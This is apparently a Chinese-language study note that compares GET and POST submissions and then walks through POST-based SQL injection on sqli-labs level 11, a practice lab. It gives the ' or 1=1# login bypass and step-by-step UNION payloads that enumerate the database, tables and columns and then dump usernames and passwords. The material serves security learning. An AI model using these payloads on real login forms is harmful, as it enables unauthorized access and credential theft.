#POST提交和GET提交
1.get可以被缓存,post不会
2.get提交的参数会保留在浏览器的历史记录中,post提交不会
3.get提交可以被收藏为书签,post提交不会
4.get提交有长度限制,最长为2048个字符。post提交没有长度的要求,不是只运行使用Ascii字符,还可以使用二进制数据
总结:POST提交比GET提交更安全
#Post提交和get提交在数据包中的区别
POST提交
首先我们 先打开11关,随便输入用户和密码,提交数据
并且开启bp抓包
1.是我们当前提交的数据
POST提交的数据会在下面的部分进行传参,而GET提交的数据会在2的位置,也就是最顶端的位置进行传参
#POST注入原理
1.是否存在注入点(使用万能钥匙)
(1)结果数据包和源码一起分析
使用POST接受username和password的键值
然后把接受的键值带入数据库中去查询
(2)使用万能钥匙admin' or 1=1 #进行判断
使用万能密码
admin' or 1=1# 进行绕过测试
原语句
"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
使用万能密码后的语句
"SELECT username, password FROM users WHERE username='admin' or 1=1#' and password='$passwd' LIMIT 0,1";
首先我们使用了’进行闭合并且把后面的内容使用了#注释掉了,在中间使用or 1=1.
那么数据库在判断的时候语句就变成了
Admin or 1=1
那么admin我们不知道是不是存在的但是 or 1=1 是成立的,然后使用#号键,把后面的password的给注释掉了。
因为他前面有使用isset这个函数来判断密码是不是为空,由于我们语句把后面密码的部分给注释掉了,所以只要不让他为空就可以了
页面显示登陆成功,那么以此判断username存在注入点,可以使用post提交注入,用”or”指令绕过密码验证
#案例演示
sqli-labs-----第11关
1.确定是否存在注入点
使用万能密码
页面正常回显登陆成功
2.获取字段数
uname=admin' group by 2 #&passwd=admin&submit=Submit
提交数据->开启BP抓包
修改数据包->放包
页面报错
页面正常显示,确定一共只有2个字段
3.确定显示字段数
uname=' union select 1,2 # &passwd=admin&submit=Submit
这里注意,因为这是字符型的所以我们要在uname的后面输入一个不存在的值,让他不进行页面的显示,最好使用空格
确定页面显示字段为1,2
4.获取当前数据库
uname=' union select (database()),2 #&passwd=admin&submit=Submit
经过页面回显确定数据库名为security
5.获取数据表
uname= 'union select (select group_concat(table_name)from information_Schema.tables where table_schema="security"),2 #&passwd=admin&submit=Submit
数据表为以上内容
6.获取字段
uname= 'union select (select group_concat(column_name)from information_Schema.columns where table_schema="security" and table_name='users'),2 #&passwd=admin&submit=Submit
以上为所有数据表
7.拖库
name= ' union select (select group_concat(username,'--',password)from security.users),2 #&passwd=admin&submit=Submit